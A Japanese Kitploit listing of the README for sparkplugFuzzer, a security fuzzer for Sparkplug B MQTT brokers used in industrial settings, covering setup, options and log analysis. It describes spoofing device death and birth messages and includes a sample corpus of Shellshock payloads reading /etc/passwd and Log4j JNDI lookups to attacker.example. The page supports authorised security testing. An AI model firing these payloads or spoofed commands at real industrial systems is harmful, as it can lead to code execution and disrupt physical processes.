Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
sparkplugFuzzer — Sparkplug B IIoT プロトコル用ファザー | Kitploit
ツール/GitHubGitHub/bishopfox/sparkplugfuzzer
動的分析 (サンドボックス)IoTセキュリティ脆弱性分析SCADA/ICSセキュリティファジングネットワークセキュリティペネトレーションテスト認証
GitHubbishopfox/sparkplugfuzzer

sparkplugFuzzer

Sparkplug B IIoT プロトコル用ファザー

リポジトリを見る
12ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Sparkplug B MQTT Security Fuzzer

Sparkplug B MQTTプロトコル実装をテストするための包括的なセキュリティ評価ツールです。このファザーは、全9つのメッセージタイプにわたるすべてのプロトコルフィールドを体系的にテストし、ネットワーク上の稼働中のデバイスを発見し、詳細なログを分析用に生成します。

責任ある使用

このツールは、ターゲットブローカーに対して、不正な形式、インジェクション、プロトコル違反のMQTTメッセージを送信します。所有しているシステム、または明示的な書面によるテスト許可を得ているシステムに対してのみ実行してください。 Sparkplug Bブローカーは通常、OT/ICS環境に設置されており、予期しないペイロードが物理プロセスを混乱させる可能性があります。明らかにそうでないと証明されない限り、すべてのターゲットは本番環境に隣接していると想定してください。

このツールを使用してSparkplug B実装に脆弱性を発見した場合は、影響を受けるベンダーと協調的な開示を行ってください。このツール自体のセキュリティ問題を報告するには、SECURITY.mdを参照してください。

目次

  • 概要
  • 前提条件
  • インストール
  • クイックスタート
  • 使用方法
    • コマンドラインオプション
    • ファズカテゴリ
    • 例
  • 動作の仕組み
    • 実行フロー
    • ネットワークディスカバリ
    • 認証評価
    • ターゲットファジング
  • テストの実行
  • 出力とログ分析
    • ログ形式
    • 結果の分析
  • プロトコルカバレッジ
    • メッセージタイプ
    • データタイプ
    • フィールドカバレッジ
  • アーキテクチャ

概要

Sparkplug B仕様は、産業用IoT(IIoT)環境向けにMQTTとGoogle Protocol Buffers上に構築されたトピック名前空間とペイロード形式を定義しています。このファザーは、以下の方法でSparkplug B実装のセキュリティと堅牢性を評価します。

  • 19すべてのメトリックデータタイプを境界値とオーバーフロー条件でテスト
  • 悪意のある文字列の注入(XSS、SQLi、フォーマット文字列、パストラバーサル、コマンドインジェクション)
  • 宣言されたデータタイプと実際のprotobuf値フィールド間の型の不一致の作成
  • プロトコル状態機械の順序違反(birth前のdata、二重birth、death後のdata)
  • シリアル化されたprotobufペイロードのバイナリレベルでの破損
  • 検出されたネットワークデバイスのbirth/death証明書のスプーフィング
  • 特殊文字、大文字小文字のバリエーション、構造違反によるMQTTトピック名前空間のファジング

前提条件

  • Python 3.8以上
  • MQTTブローカー — テスト対象のシステム(例:Mosquitto、HiveMQ、EMQX、またはSparkplug B対応の任意のブローカー)
  • 許可 — このツールは許可されたセキュリティテスト専用です

インストール

最近のDebian/Ubuntu/Kali(PEP-668システム)では、--setupを使用してシステムPythonにpip installすることはできません。最初に仮想環境またはpipxを使用してください。推奨パス:```bash python3 -m venv .venv source .venv/bin/activate python3 sparkplug-fuzzer.py --setup

root@kitploit:~
または、自分でvenvを管理したくない場合は、`pipx run` で実行してください。PEP-668の強制がない古いシステムでは、単純に `python3 sparkplug-fuzzer.py --setup` が直接動作します。

`--setup` は以下の処理を行います:
1. pip依存関係をインストールします (`paho-mqtt`, `protobuf`)
2. 特定のタグで固定された [Eclipse Tahu](https://github.com/eclipse/tahu) リポジトリをクローンします(スクリプト内の `TAHU_REF` を参照)
3. ヘルパーモジュール `sparkplug_b.py` と `array_packer.py` をコピーします
4. `sparkplug_b.proto` をPythonバインディングにコンパイルします(利用可能な場合は `protoc` を使用し、それ以外は `grpcio-tools` にフォールバック)
5. Tahuのクローンをクリーンアップします

セットアップ後、ディレクトリには次のものが含まれているはずです:```
sparkplug-fuzzer.py     # The fuzzer
sparkplug_b.py          # Sparkplug B helper module (from Tahu)
array_packer.py         # Array packing helper (from Tahu)
sparkplug_b_pb2.py      # Generated protobuf bindings
requirements.txt        # Python dependencies
手動セットアップ(もし --setup が機能しない場合)```bash pip install -r requirements.txt git clone https://github.com/eclipse/tahu.git cp tahu/python/core/sparkplug_b.py . cp tahu/python/core/array_packer.py . protoc --python_out=. sparkplug_b.proto rm -rf tahu ```

クイックスタート```bash

python3 sparkplug-fuzzer.py --setup # first-time setup python3 sparkplug-fuzzer.py -H localhost -p 1883 -v # run fuzzer

root@kitploit:~
これは以下のことを行います:

1. `localhost:1883` のブローカーに接続
2. 10秒間待機して既存のSparkplugデバイスを検出
3. ファザーをSparkplugノード/デバイスとして確立
4. 12のファズカテゴリ(約635以上のテストケース)を実行
5. 発見されたデバイスをスプーフィングされたメッセージで標的に
6. 結果を `sparkplug_fuzz.jsonl` に書き込み

## 使用方法

### コマンドラインオプション```
python3 sparkplug-fuzzer.py [OPTIONS]

ファズカテゴリ

例

すべてのカテゴリを認証付きで実行:```bash python3 sparkplug-fuzzer.py -H 10.0.1.30 -p 1883 -u admin -P secret -v

root@kitploit:~
**`ps`内で認証情報を露出させずに渡す:**```bash
# Via environment
MQTT_USERNAME=admin MQTT_PASSWORD=secret python3 sparkplug-fuzzer.py -H broker.local

# Or read password from stdin (getpass — no echo)
python3 sparkplug-fuzzer.py -H broker.local -u admin -P -

TLS経由で接続:```bash

System trust store, default port 8883

python3 sparkplug-fuzzer.py -H broker.example.com --tls -v

Custom CA bundle

python3 sparkplug-fuzzer.py -H broker.example.com --tls --cafile ./ca.pem -v

root@kitploit:~
**パッシブ認証評価 + アクティブ書き込みプローブ:**```bash
python3 sparkplug-fuzzer.py -H 10.0.1.30 --probe-anon-write -v

インジェクション関連のカテゴリのみを実行:```bash python3 sparkplug-fuzzer.py -H broker.local -c string type_mismatch malformed

root@kitploit:~
**低速ペーシングによる拡張ディスカバリー(ブローカ負荷最小化):**```bash
python3 sparkplug-fuzzer.py -H 192.168.1.100 --discovery-time 60 --delay 0.5

カスタムグループ/ノードのIDとログファイル:```bash python3 sparkplug-fuzzer.py -H broker.local
-g "Production Floor" -n "TestNode01" -d "TestDevice01"
-l production_fuzz_results.jsonl -vv

root@kitploit:~
**別のターミナルでブローカのトラフィックを監視:**```bash
mosquitto_sub -h <broker_host> -p 1883 -t 'spBv1.0/#' -F '%I %t %x'

エアギャップ環境のセットアップ(事前にクローンされたTahuリポジトリを使用):```bash git clone https://github.com/eclipse/tahu.git ~/tahu # on a connected box

transfer ~/tahu to the air-gapped target, then on the target:

python3 sparkplug-fuzzer.py --setup --tahu-path ~/tahu

root@kitploit:~
**実行ごとの出力レイアウト:**```bash
# Default — directory is auto-named under ./sparkplug-runs/
python3 sparkplug-fuzzer.py -H broker.local
# -> creates ./sparkplug-runs/2026-05-05_1830_broker.local/sparkplug_fuzz.jsonl

# Explicit directory:
python3 sparkplug-fuzzer.py -H broker.local --output-dir ./fuzz-runs/acme-2026Q2

カスタム文字列コーパス

組み込みの STRING_FUZZ_VALUES は、古典的なインジェクションカテゴリ(空/巨大文字列、ヌルバイト、フォーマット文字列、XSS、SQLi、パストラバーサル、プロトタイプ汚染)をカバーしています。実際のエンゲージメントでは、ブローカーのデータをダウンストリームで消費するもの(シェルを介してメトリック名をパイプ処理するヒストリアン、値をlog4jに送り込むJavaベースのSCADAホスト、タグ名をHTMLでレンダリングするダッシュボードなど)を狙ったセカンドオーダーペイロードが必要になることがよくあります。

--extra-string-payloads <FILE> フラグは、組み込みに追加のコーパスを追加します。フォーマットは1行1ペイロード、UTF-8です。空白のみの行は保持され(ファズでは意図的なことが多い)、完全に空の行は削除されます。このフラグは組み込みリストを置き換えるのではなく追加するため、既存のカバレッジは維持されます。```bash

corpus.txt — Shellshock + Log4j JNDI prefixes

cat > corpus.txt <<'EOF' () { :;}; /bin/cat /etc/passwd () { :; }; echo VULN ${jndi:ldap://attacker.example/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/x} ${${lower:jndi}:ldap://attacker.example/x} EOF

python3 sparkplug-fuzzer.py -H broker.local --extra-string-payloads corpus.txt -v

root@kitploit:~
ファザーは起動時に `[+] Extra string payloads: loaded N from <path>` を出力し、各ペイロードは `STRING_FUZZ_VALUES` を反復するすべての場所(主に `string` カテゴリ、ただし型不一致ジェネレータの文字列型ケースも含む)を通じて送出されます。

ハード制限: ファイルサイズ10 MB、ペイロード数10,000。もっと必要で(実行時間の予算が合うなら)、スクリプト先頭の `MAX_EXTRA_PAYLOADS_FILE_SIZE` / `MAX_EXTRA_PAYLOADS_COUNT` を調整してください。

## v0.2 リリースノート

- `--output-dir` フラグと自動生成されるデフォルト `./sparkplug-runs/<UTC-ts>_<host>/` — 各実行は独自のディレクトリに配置されるため、成果物が実行間で衝突しません。
- `--setup` 用の `--tahu-path` フラグ — 外部への `git clone` がブロックされているエアギャップテスト環境向けに、`eclipse/tahu` のローカルクローンを指定します。ローカルソースはクリーンアップ時に削除されません。
- コンソールおよび JSONL のタイムスタンプは強制的に UTC とし、明示的な `Z` サフィックスを付与することで、ブローカーログとの相互相関がタイムゾーン計算不要になります。
- `paho.mqtt` ロガーはデフォルトで WARNING に抑制。`-v` で INFO、`-vv` で DEBUG で表示されます。パケットごとのクライアントテレメトリがファズ信号を埋もれさせなくなりました。
- `tests/` 下の pytest テストハーネス — FuzzLogger、トピックヘルパー、出力パス解決、`--tahu-path` 検証をカバーする23のテスト。[テストの実行](#running-the-tests) を参照。

## テストの実行

テストハーネスはネットワークに依存しない表面(ロガーの正確性、トピックビルダー、出力パス解決、`--tahu-path` 解析)をカバーし、ブローカー、paho-mqtt、protobuf がインストールされていなくても実行できます。```bash
pip install -r requirements-dev.txt
pytest tests/

期待される: 23 passed。ネットワーク依存のパス(PayloadBuilder protobuf、fuzz publishers、MQTT lifecycle)は、コンテナ化されたブローカーを用いた将来の統合テスト層に意図的に延期されています。

動作の仕組み

実行フロー```

  1. CONNECT Connect to MQTT broker with NDEATH as last-will-and-testament Subscribe to spBv1.0/# and STATE/# for discovery |
  2. DISCOVER Passively listen for Sparkplug traffic (configurable duration) Build map of groups, nodes, devices, and their metric definitions |
  3. ESTABLISH Publish fuzzer's own NBIRTH + DBIRTH to register as a valid node |
  4. FUZZ Run selected categories sequentially Each category generator yields (topic, payload, description) tuples Every publish logged via centralized _publish() method Configurable delay between messages |
  5. TARGET For each discovered node/device: - Spoof NDEATH (kill node) - Spoof NBIRTH (impersonate node) - Spoof DDEATH/DBIRTH (kill/impersonate device) - Send DCMD/NCMD with fuzzed metric values |
  6. REPORT Print summary (total TX/RX counts by category) Close log file, disconnect
root@kitploit:~
### Network Discovery

発見フェーズでは、ファザーは`spBv1.0/#`にサブスクライブし、すべてのSparkplugトラフィックをリッスンします。`DeviceTracker`コンポーネントは、観測されたメッセージを解析してライブネットワークマップを構築します:

- **NBIRTH** メッセージはエッジノードとそのメトリック定義(名前、エイリアス、データ型)を明らかにします。
- **DBIRTH** メッセージはデバイスとそのメトリックスキーマを明らかにします。
- **NDEATH/DDEATH** メッセージはノード/デバイスのライフサイクル状態を追跡します。
- **STATE** メッセージはホストアプリケーションとそのオンライン/オフラインステータスを明らかにします。

このマップは、ターゲットファジングフェーズで使用され、実際のメトリックスキーマを持つ実際のデバイスに対してコンテキストに関連した攻撃を送信します。

### Authentication Assessment

ファザーが`-u/-P`なしで接続し(かつ`MQTT_USERNAME`/`MQTT_PASSWORD`が設定されていない場合)、パッシブディスカバリのみからブローカーの認証状態を推定します。これにより、ログに1つの`AUTH_ASSESSMENT`イベントが生成され、以下の要約が出力されます:

| Signal | 意味 | 導出方法 |
|---|---|---|
| `anon_connect_accepted` | ブローカーが認証情報なしでCONNECTを受け入れた | ファザー自身のCONNECTが成功 |
| `anon_subscribe_accepted` | ブローカーが匿名クライアントに`spBv1.0/#` / `STATE/#`を転送する | リスンウィンドウ中に少なくとも1つのRXメッセージが到着 |
| `anon_publish_accepted` | ブローカーが匿名クライアントからのPUBLISHを受け入れる | `--probe-anon-write`が渡された場合のみ設定; QoS=1プローブ + PUBACK待機 |
| `unauth_endpoints` | 認証なしで観測可能なノード/デバイス/ホストアプリケーション | 発見されたネットワークマップ内のすべてのエンティティ(認証は生成されなかった) |

QoS=1プローブはオプトインです。なぜなら、パッシブからアクティブに移行するからです。QoS=0では、ブローカーは拒否するメッセージを黙ってドロップするため、書き込み受け入れを確認するにはPUBACKを読み取る必要があります。

MQTT/Sparkplugにはエンドポイントごとの認証はありません。認証はブローカーレベルの問題です。したがって、「認証なしで観測可能なエンドポイント」は、エンドポイント自体のプロパティとしてではなく、*コストゼロで到達可能なターゲット*のリストとして報告されます。

### Targeted Fuzzing

体系的なファジングの後、ツールは発見された各デバイスを次の方法でターゲットにします:

1. **偽装された死亡通知** — NDEATH/DDEATHを公開し、サブスクライバーにデバイスがオフラインになったと思わせる
2. **偽装された誕生証明書** — NBIRTH/DBIRTHを公開し、発見されたノード/デバイスになりすます
3. **コマンドインジェクション** — 既知の各メトリックに対して境界値を持つNCMD/DCMDメッセージを送信し、ターゲットが受信コマンドを検証するかテストする
4. **再誕生コマンド** — `Node Control/Rebirth` NCMDを送信し、デバイスに誕生メッセージを再公開させる

## Output and Log Analysis

### Log Format

ログファイルはJSON-lines形式(`.jsonl`)を使用します — 1行に1つのJSONオブジェクトで、`jq`、Python、その他のJSON対応ツールでの分析に適しています。

64 KiBを超えるペイロードは16進数インライン化されません。代わりに`payload_hex`は`sha256:<digest>+len=<n>`を保持するため、非常に大きなファズケースでもログは制限されたままです。`payload_len`は常に存在します。

**TXレコード**(送信ファズメッセージ):```json
{
  "ts": "2026-04-10T15:30:00.123456Z",
  "dir": "TX",
  "case_id": "BOUNDARY-0042",
  "category": "boundary",
  "topic": "spBv1.0/Sparkplug B Devices/DDATA/FuzzNode/FuzzDevice",
  "payload_hex": "0800120a0a06...",
  "payload_len": 28,
  "payload_decoded": {"timestamp": 1712345678000, "metrics": [{"name": "fuzz/boundary/Int32", "datatype": 3, "int_value": 2147483647}]},
  "description": "Boundary Int32 = 2147483647 (int_value)"
}

RX record (ネットワークからの受信メッセージ):```json { "ts": "2026-04-10T15:30:01.456789Z", "dir": "RX", "topic": "spBv1.0/Production/NBIRTH/PLC01", "payload_hex": "0800120f...", "payload_len": 156, "payload_decoded": {"timestamp": 1712345679000, "metrics": [{"name": "Node Control/Rebirth", "datatype": 11, "boolean_value": false}]} }

root@kitploit:~
**イベントレコード** (システムイベント):```json
{
  "ts": "2026-04-10T15:29:50.000000Z",
  "dir": "EVENT",
  "event": "DISCOVERY_COMPLETE",
  "details": {"groups": ["Production"], "node_count": 3, "device_count": 7, "targets": 10}
}

結果の分析

カテゴリ別のケース数をカウント:```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.category' | sort | uniq -c | sort -rn

root@kitploit:~
**すべての文字列インジェクションケースを抽出する:**```bash
jq 'select(.category == "string")' sparkplug_fuzz.jsonl

発見された全デバイスを一覧表示:```bash jq 'select(.event == "DISCOVERY_COMPLETE")' sparkplug_fuzz.jsonl

root@kitploit:~
**ブローカー切断を引き起こしたケースを見つける:**```bash
jq 'select(.event == "UNEXPECTED_DISCONNECT" or .event == "RECONNECT_FAIL")' sparkplug_fuzz.jsonl

認証評価をプルする:```bash jq 'select(.event == "AUTH_ASSESSMENT")' sparkplug_fuzz.jsonl

root@kitploit:~
**認証なしで到達可能なエンドポイントを一覧表示:**```bash
jq -r 'select(.event == "AUTH_ASSESSMENT") | .details.unauth_endpoints[] | [.kind, .group, .node, .device, .host_id, .status] | @tsv' sparkplug_fuzz.jsonl

時間経過に伴うTX数の取得(レート分析用):```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.ts[:19]' | uniq -c

root@kitploit:~
**公開されたすべてのトピックをエクスポート先:**```bash
jq -r 'select(.dir == "TX") | .topic' sparkplug_fuzz.jsonl | sort -u

Pythonで分析する:```python import json

with open("sparkplug_fuzz.jsonl") as f: records = [json.loads(line) for line in f]

tx = [r for r in records if r["dir"] == "TX"] rx = [r for r in records if r["dir"] == "RX"] events = [r for r in records if r["dir"] == "EVENT"]

print(f"Total TX: {len(tx)}, RX: {len(rx)}, Events: {len(events)}")

Find any decode errors in received messages (possible crash indicators)

errors = [r for r in rx if "_decode_error" in str(r.get("payload_decoded", {}))] print(f"Decode errors in RX: {len(errors)}")

root@kitploit:~
## プロトコルカバレッジ

### メッセージタイプ

全9種類のSparkplug Bメッセージタイプがテストされています:

| メッセージタイプ | トピックパターン | 説明 | ファザーの使用目的 |
|---|---|---|---|
| NBIRTH | `spBv1.0/{group}/NBIRTH/{node}` | ノード誕生証明書 | ファザーの存在を確立;発見されたノードに対して偽装;順序テスト |
| NDEATH | `spBv1.0/{group}/NDEATH/{node}` | ノード死亡通知 | MQTT遺言;発見されたノードに対して偽装;順序テスト |
| DBIRTH | `spBv1.0/{group}/DBIRTH/{node}/{device}` | デバイス誕生証明書 | ファザーのデバイスを確立;発見されたデバイスに対して偽装;順序テスト |
| DDEATH | `spBv1.0/{group}/DDEATH/{node}/{device}` | デバイス死亡通知 | 発見されたデバイスに対して偽装;順序テスト;孤立テスト |
| NDATA | `spBv1.0/{group}/NDATA/{node}` | ノードデータ更新 | 境界値;シーケンス番号;順序テスト |
| DDATA | `spBv1.0/{group}/DDATA/{node}/{device}` | デバイスデータ更新 | ほとんどのファズカテゴリの主要な手段 |
| NCMD | `spBv1.0/{group}/NCMD/{node}` | ノードコマンド | 標的型ファジング(再誕コマンド);孤立テスト |
| DCMD | `spBv1.0/{group}/DCMD/{node}/{device}` | デバイスコマンド | 発見されたデバイスのメトリクスに対する標的型ファジング;孤立テスト |
| STATE | `STATE/{host_id}` | ホストアプリケーション状態(JSON) | 不正なJSONインジェクション |

### データタイプ

全19種類のSparkplug Bメトリックデータタイプがタイプ固有の境界値でテストされています:

| コード | タイプ | Protobufフィールド | テストされた境界値 |
|------|------|---------------|----------------------|
| 1 | Int8 | int_value | 0, -128, 127, 128(オーバーフロー), -129(アンダーフロー) |
| 2 | Int16 | int_value | 0, -32768, 32767, オーバーフロー/アンダーフロー |
| 3 | Int32 | int_value | 0, -2^31, 2^31-1, オーバーフロー/アンダーフロー |
| 4 | Int64 | long_value | 0, -2^63, 2^63-1, オーバーフロー |
| 5 | UInt8 | int_value | 0, 255, 256, -1 |
| 6 | UInt16 | int_value | 0, 65535, 65536, -1 |
| 7 | UInt32 | int_value | 0, 4294967295, -1 |
| 8 | UInt64 | long_value | 0, 2^64-1, -1 |
| 9 | Float | float_value | 0.0, -0.0, 最大値, 最小値, inf, -inf, NaN |
| 10 | Double | double_value | 0.0, -0.0, 最大値, 最小値, inf, -inf, NaN |
| 11 | Boolean | boolean_value | True, False;さらに生の整数値(0, 1, 2, 255)でもテスト |
| 12 | String | string_value | 空文字、長文(最大64KB)、インジェクションペイロード |
| 13 | DateTime | long_value | エポック、最大値、遠い未来/過去 |
| 14 | Text | string_value | Stringと同じインジェクションペイロード |
| 15 | UUID | string_value | 空文字、有効、無効な形式、インジェクション |
| 16 | DataSet | dataset_value | データセットカテゴリによる構造違反 |
| 17 | Bytes | bytes_value | 空、ヌルバイト、ランダム、大規模 |
| 18 | File | bytes_value | 空、マジックバイト、大規模 |
| 19 | Template | template_value | 未定義の参照、孤立テンプレート |

### フィールドカバレッジ

ファザーは87以上のユニークなProtobufフィールドパスをカバーしています:

- **ペイロードルートフィールド**: timestamp, seq, uuid, body, metrics
- **メトリックフィールド**: name, alias, timestamp, datatype, is_historical, is_transient, is_null, metadata, properties、およびすべてのvalue oneofバリアント
- **メタデータフィールド**: is_multi_part, content_type, size, seq, file_name, file_type, md5, description
- **PropertySet/PropertyValue**: keys, values, type, is_null, recursive propertyset_value, propertysets_value
- **DataSet**: num_of_columns, columns, types, rows, elements、すべてのDataSetValueバリアント
- **Template**: version, template_ref, is_definition, nested metrics, parameters

## アーキテクチャ

ファザーは単一のPythonファイルで構成され、以下のコンポーネントに整理されています:```
sparkplug-fuzzer.py
    |
    +-- Constants / ALL_METRIC_TYPES / STRING_FUZZ_VALUES
    |       Type definitions and fuzz value tables
    |
    +-- FuzzLogger
    |       JSON-lines file logging + console output
    |       Protobuf payload decoding
    |
    +-- DeviceTracker
    |       Passive network discovery
    |       Tracks groups, nodes, devices, metrics
    |
    +-- PayloadBuilder
    |       Valid payload construction (sparkplug_b helpers)
    |       Raw payload construction (sparkplug_b_pb2 direct)
    |       Binary corruption (truncate, flip, append)
    |
    +-- 12 Fuzz Generators
    |       Each is a Python generator yielding (topic, bytes, desc)
    |       Covers boundary, string, type, seq, timestamp, alias,
    |       orphan, ordering, recursive, dataset, malformed, topic
    |
    +-- SparkplugFuzzer
    |       Orchestration: connect, discover, fuzz, target, report
    |       Centralized publish with logging
    |       Auto-reconnect on disconnect
    |
    +-- CLI (argparse) + main()
            Argument parsing and entry point

2層のペイロード構成は、主要な設計上の判断です。

  • 高レベル(PayloadBuilder.node_birth() など)は sparkplug_b ヘルパー関数を使用し、有効で整形されたペイロードを構築します。プレゼンスの確立と標的を絞ったスプーフィングに使用されます。
  • 低レベル(PayloadBuilder.raw_payload()、corrupt_bytes())は sparkplug_b_pb2 protobuf オブジェクトまたは生のバイトを直接操作し、検証をバイパスします。パーサーのエラーハンドリングとエッジケースをテストするための、意図的に不正なペイロードに使用されます。

ライセンス

このプロジェクトはMITライセンスの下でライセンスされています。全文についてはLICENSEを参照してください。

サードパーティ

sparkplug-fuzzer.py --setup は、インストール時に Eclipse Tahu から以下のコンポーネントを取得し、作業ディレクトリにコピーします。

  • sparkplug_b.py — Sparkplug B ヘルパーモジュール
  • array_packer.py — 配列パッキングヘルパー
  • sparkplug_b.proto — Protocol Buffer 定義(sparkplug_b_pb2.py の生成に使用)

Eclipse Tahu は Apache License, Version 2.0 の下で配布されています。Tahu のソースファイルはこのリポジトリには再配布されていません。完全な帰属表示については NOTICE を参照してください。

ツールをダウンロード
OptionDefaultDescription
-H, --hostlocalhostMQTTブローカーのホスト名またはIP
-p, --port1883(--tls 付きの場合は 8883)MQTTブローカーのポート
-u, --usernameなしMQTTユーザー名(MQTT_USERNAME 環境変数も読み取ります)
-P, --passwordなしMQTTパスワード(MQTT_PASSWORD も読み取ります。- を指定するとエコーなしで標準入力から読み取ります)
--tlsoffTLSで接続します。-p が未設定の場合、デフォルトポートは 8883 になります
--cafileなしTLSサーバー証明書検証用のCAバンドル
--insecureoffTLSホスト名/証明書の検証をスキップします(テストのみ)
-g, --groupSparkplug B Devicesファザーが登録するSparkplugグループID
-n, --nodeFuzzNodeファザー用のSparkplugエッジノードID
-d, --deviceFuzzDeviceファザー用のSparkplugデバイスID
-c, --categoriesall実行するファズカテゴリのスペース区切りリスト
--discovery-time10ネットワーク検出をパッシブに待機する秒数
--delay0.1ファズメッセージ間の遅延(秒)
--probe-anon-writeoff検出中にQoS=1のパブリッシュを1つ送信し、ブローカーが認証なしのPUBLISHを受け入れるか確認します
-l, --logsparkplug_fuzz.jsonl出力ログファイル名(相対パスは --output-dir 内に配置。絶対パスはそのまま使用)
--output-dir./sparkplug-runs/<UTC-ts>_<host>/実行ごとの出力ディレクトリ。存在しない場合は作成されます
-v, --verbose0コンソールの詳細度を増加(-v = info、-vv = debug)。-vv はファズジェネレーターのスキップも表示し、スロットリングされた paho.mqtt ロガーが詳細度に応じてINFO/DEBUGに昇格します
--setup—すべての依存関係をインストールして終了
--tahu-path—eclipse/tahu(またはその python/core ディレクトリ)のローカルクローンへのパス。--setup でエアギャップ環境で git clone の代わりに使用します
--extra-string-payloads—追加の文字列インジェクションペイロードファイルへのパス(1行1ペイロード、UTF-8)。組み込みの STRING_FUZZ_VALUES に追加されます(置き換えません)。最大10 MB / 10,000ペイロード。カスタム文字列コーパスを参照
CategoryDescriptionApprox. Cases
boundary全19の数値データ型の最小/最大/オーバーフロー、値付きis_null、フラグの組み合わせ~200
stringString、Text、UUID、MetaDataフィールド、STATEメッセージ全体でのインジェクションペイロード(XSS、SQLi、フォーマット文字列、パストラバーサル、コマンドインジェクション、nullバイト)~100
type_mismatch宣言されたデータ型と間違ったprotobuf値フィールド、無効なデータ型コード、複数のoneofフィールド~150
sequenceシーケンスの欠落、重複、逆順、巻き戻し、NBIRTH/NDEATH間のbdSeqの不一致~20
timestampゼロ、最大uint64、遠い未来/過去、メトリックとペイロードタイムスタンプの不一致、DateTimeの極端な値~15
alias異なるメトリックに対するエイリアスの重複、極端なエイリアス値、データメッセージ内の未定義エイリアス~15
orphan存在しないデバイス、ノード、グループをターゲットにしたデータ/コマンド、未定義のテンプレート参照~20
orderingプロトコル状態違反:Birth前のデータ、二重Birth、Death後のデータ、間違ったBirth順序~15
recursiveネストされたPropertySetチェーン(深さ1-100)、キー/値の長さの不一致、PropertySetListのバリエーション~15
datasetカラム数の不一致、行要素の不一致、型違反、空/巨大なデータセット、カラム名の特殊文字~25
malformedバイナリprotobufの破損:切り詰め、ビット反転、ランダムバイト、過長なvarint、間違ったメッセージクラス~30
topic大文字小文字のバリエーション、間違ったバージョン、余分/欠落したスラッシュ、特殊文字、トピック文字列のワイルドカード~30